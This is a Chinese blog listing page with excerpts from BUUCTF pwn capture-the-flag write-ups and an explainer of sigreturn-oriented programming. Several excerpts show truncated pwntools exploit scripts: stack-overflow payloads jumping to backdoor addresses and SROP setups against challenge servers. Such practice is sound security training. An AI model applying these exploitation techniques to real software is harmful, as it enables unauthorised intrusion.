- 博客(8)
- 收藏
- 关注
RSS订阅原创 BUUCTF pwn水题大赏（七）（更新中）
BUUCTF pwn水题大赏wustctf2020_getshellwustctf2020_getshell简单 32 位栈溢出。exp：from pwn import*context.log_level = 'DEBUG'p=remote('node3.buuoj.cn',28411)#p=process('./wustctf2020_getshell')backdoor = 0x0804851Bpayload = 'a'*0x18+'a'*4+p32(backdoor)p.sen
2021-04-02 17:36:24
180
1
原创 BUUCTF pwn水题大赏（六）
BUUCTF pwn水题大赏suctf_2018_stacksuctf_2018_stack最最最最最最基本的栈溢出，也不知道为啥会这么高分。exp：from pwn import*context.log_level = 'DEBUG'p=remote('node3.buuoj.cn',28582)#p=process('./SUCTF_2018_stack')elf=ELF('./SUCTF_2018_stack')payload = 'a'*0x28+p64(0x0040067A)
2021-03-11 20:45:47
353
1
原创 SROP
SROPSignal机制Signal机制漏洞Signal机制利用SROP成立的条件常用系统调用调用号64位32位Signal机制SROP 的全称是 Sigreturn Oriented Programming 。sigreturn是一个系统调用。 当内核向某个进程发起一个 signal ，该进程会被暂时挂起，进入内核。内核会帮用户进程将其上下文保存在该进程的栈上，然后在栈顶填上一个地址 rt_sigreturn ，这个地址指向一段代码，在这段代码中会调用sigreturn系统调用
2021-02-03 18:30:20
858
原创 BUUCTF pwn水题大赏（五）
BUUCTF pwn水题大赏41.ciscn_2019_s_341.ciscn_2019_s_3srop ，要注意 rsp 指向的位置。exp：from pwn import*context.log_level = 'DEBUG'context.arch = 'amd64'p = remote('node3.buuoj.cn',29369)#p = process('./ciscn_s_3')elf = ELF('./ciscn_s_3')syscall_ret = 0x400517
2021-02-03 18:27:54
302
1
原创 BUUCTF pwn水题大赏（四）
BUUCTF pwn水题大赏31.[BJDCTF2nd]ydsneedgirlfriend232.babyheap_0ctf_201733.ciscn_2019_ne_534.[HarekazeCTF2019]baby_rop235.jarvisoj_fm36.pwn2_sctf_201637.jarvisoj_tell_me_something38.picoctf_2018_rop chain39.cmcc_simplerop40.[ZJCTF 2019]Login31.[BJDCTF2nd]ydsne
2021-02-03 18:26:36
382
原创 BUUCTF pwn水题大赏（三）
BUUCTF pwn水题大赏21.铁人三项(第五赛区)_2018_rop22.bjdctf_2020_babyrop23.[BJDCTF 2nd]r2t424.[BJDCTF 2nd]test25.bjdctf_2020_babystack226.bjdctf_2020_babyrop227.bjdctf_2020_router28.others_babystack29.ciscn_2019_s_430.wdb2018_guess21.铁人三项(第五赛区)_2018_rop32位栈溢出，利用 write
2021-02-03 18:25:14
387
原创 BUUCTF pwn水题大赏（二）
BUUCTF pwn水题大赏11.get_started_3dsctf_201612.ciscn_2019_en_213.ciscn_2019_n_814.jarvisoj_level215.not_the_same_3dsctf_201616.[BJDCTF 2nd]one_gadget17.bjdctf_2020_babystack18.[HarekazeCTF2019]baby_rop19.jarvisoj_level2_x6420.ciscn_2019_n_511.get_started_3dsc
2021-02-03 18:23:43
200
原创 BUUCTF pwn水题大赏（一）
BUUCTF pwn水题大赏1.test_your_nc2.rip3.warmup_csaw_20164.pwn1_sctf_20165.ciscn_2019_n_16.jarvisoj_level07.ciscn_2019_c_18.[OGeek2019]babyrop9.[第五空间2019 决赛]PWN510.[BJDCTF 2nd]r2t311.get_started_3dsctf_201612.ciscn_2019_en_213.ciscn_2019_n_814.jarvisoj_level215.
2021-02-03 15:52:54
321
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人